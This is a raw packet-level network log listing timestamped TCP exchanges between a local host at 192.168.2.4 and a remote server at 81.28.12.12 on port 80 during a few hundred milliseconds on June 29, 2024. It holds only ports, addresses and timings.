Jun 29, 2024 08:05:16.081078053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081079960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081088066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081099033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081130981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081156969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081187963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081223011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081233978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081242085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081288099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081289053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081331968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081341028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081350088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081360102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081382036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081418991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081429005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081429005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081526041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081536055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081548929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081552029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081557989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081568003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081578016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081578016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081603050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081676006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081686020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081708908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081733942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081753969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081767082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081798077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081835985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081845999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081854105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081856966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081867933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081877947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081898928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081898928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081945896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081962109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081991911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081991911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.082027912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.082040071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.082050085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.082060099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.082159996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.082170963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.082171917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.082181931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.082190990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.082215071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.082246065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.082247019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.149966002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.149976969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.149986982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150073051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.150074005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150073051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.150084019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150094032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150104046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150181055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.150181055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.150212049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150222063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150230885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150238991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150259972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.150335073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150346041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150356054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150358915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.150365114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.150383949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.150420904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.150420904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.153227091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.153270006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.153284073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.153374910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.153383970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.153393984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.153398991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.153409004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.153470039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.153470039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.153994083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.154045105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.154057980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.154114008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.154114008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.154138088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.154148102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.154156923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.154186964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.154364109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.154620886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.154629946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.154908895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.167479992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167512894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167530060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167538881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167577982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.167627096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.167654991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167665005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167675018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167686939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167716980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.167751074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167759895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167769909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167774916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.167803049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.167866945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.167887926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167896986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167907953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167916059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167952061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.167994976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.167999029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168005943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168015957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168025017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168042898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168131113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168140888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168149948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168159008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168164015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168195963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168195963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168239117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168272972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168296099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168303967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168360949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168361902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168363094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168370962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168380976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168415070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168415070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168446064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168477058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168494940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168505907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168514013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168524027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168551922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168582916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168603897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168612957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168617964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168651104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168653965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168653965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168705940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168715954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168725967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168740034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168772936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168773890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168775082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168773890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168859959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168870926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168874979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168875933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168886900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168895960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168920040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168953896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.168962955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168972969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.168981075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169056892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.169094086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169107914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169116974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169181108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.169181108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.169189930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169203997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169249058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169258118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169265985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.169280052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.169312954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.169312954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.170408964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170443058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170453072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170497894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170507908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170517921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170527935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170531988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.170563936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.170593023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.170598984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170620918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170739889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.170744896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170756102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170764923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170797110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.170830965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170840979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170861959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.170888901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170912981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.170917988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.170923948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171015024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171076059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171087027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171097994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171108007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171124935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171133995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171139956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171144962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171181917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171210051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171210051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171211004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171276093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171286106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171334982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171348095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171359062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171366930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171367884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171391010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171499968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171509027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171518087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171528101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171533108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171538115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171556950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171588898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171590090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171622992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171633005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171643019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.171705008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.171705008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.239456892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239481926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239490032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239526033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.239526033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.239624023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239633083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.239634037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239645004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239654064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239662886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239681005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.239777088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.239806890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239816904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239826918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239837885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239847898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239856958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.239881992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.239917994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.239917994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.242702007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.242711067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.242722034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.242769957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.242779970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.242789984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.242799997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.242810011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.242810965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.242831945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.242873907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.242875099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.242968082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.243472099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.243499994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.243508101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.243558884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.243577003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.243587971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.243597984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.243608952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.243639946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.243657112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.243666887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.243690014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.243721008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.243721008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257154942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257200956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257210016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257229090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257261992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257261992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257335901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257345915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257354975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257365942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257375956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257399082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257447958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257448912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257451057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257460117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257469893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257503033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257512093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257523060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257531881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257533073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257533073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257590055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257590055 CEST	49731	80	192.168.2.4	81.28.12.12
